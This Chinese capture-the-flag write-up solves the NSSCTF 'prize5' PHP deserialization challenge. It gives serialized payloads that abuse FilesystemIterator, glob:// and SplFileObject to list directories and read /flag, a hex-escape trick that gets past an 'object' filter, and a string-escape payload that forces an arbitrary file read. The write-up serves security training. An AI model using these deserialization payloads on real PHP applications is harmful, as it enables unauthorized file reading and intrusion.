NSSCTF-prize5

题目

<?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = 'sweet@OTL.com';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

非预期:

使用php原生类

重要代码:

if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }

如果我们只get传参给cata而不post传参给name或phone或email,就只会执行这段代码;如果传入的cata中没有object字符串(不区分大小写),那么就会对我们传入的cata反序列化。

通过观察存在的类,发现catalogue类中

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}

有一个析构函数的类可以直接利用外,没有其他可以使用。通过观察catalogue类的析构函数,是new一个新类,然后进行echo的操作即调用这个类的__toString()方法。这里可以直接联想到原生类的利用中目录读取文件的类DirectoryIterator类FilesystemIterator类以及GlobIterator类

参考:PHP 原生类的利用_cjdgg的博客-CSDN博客

构造POP链:

<?php
class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "FilesystemIterator";
        $this->data = "/";
    }
}

$a=new catalogue();
echo serialize($a);

结果:

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}

payload:

?cata=O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}

这里只能回显一个文件。

那么读取想要的文件就需要配合glob协议使用,通过 * 号来匹配想要的文件名,即glob支持像linux一样使用*号来作为通配符来匹配字符

 构造POP链

<?php
class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "FilesystemIterator";
        $this->data = "glob:///*f*";
    }
}

$a=new catalogue();
echo serialize($a);

结果:

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///*f*";}

payload:

?cata=O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///*f*";}

就可以发现有一个flag文件

知道文件名了,那么怎么读取内容呢?

这里使用SplFileObject类读取flag文件的内容

 构造POP链

<?php
class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "SplFileObject";
        $this->data = "/flag";
    }
}

$a=new catalogue();
echo serialize($a);

结果:

O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:5:"/flag";}

但是因为对object有过滤,所以我们需要绕过。这里一个小知识: 

当我们把s改成大写的S时候,字符串中的字符是可以使用反斜杠\加16进制替换的。大写O的16进制为4f,小写o的16进制为6f。大小写都可以绕过,因为php类名可以不区分大小写。

所以payload为:

?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFile\4fbject";s:4:"data";s:5:"/flag";}

预期解:

字符串逃逸

payload:

?cata=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFhellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值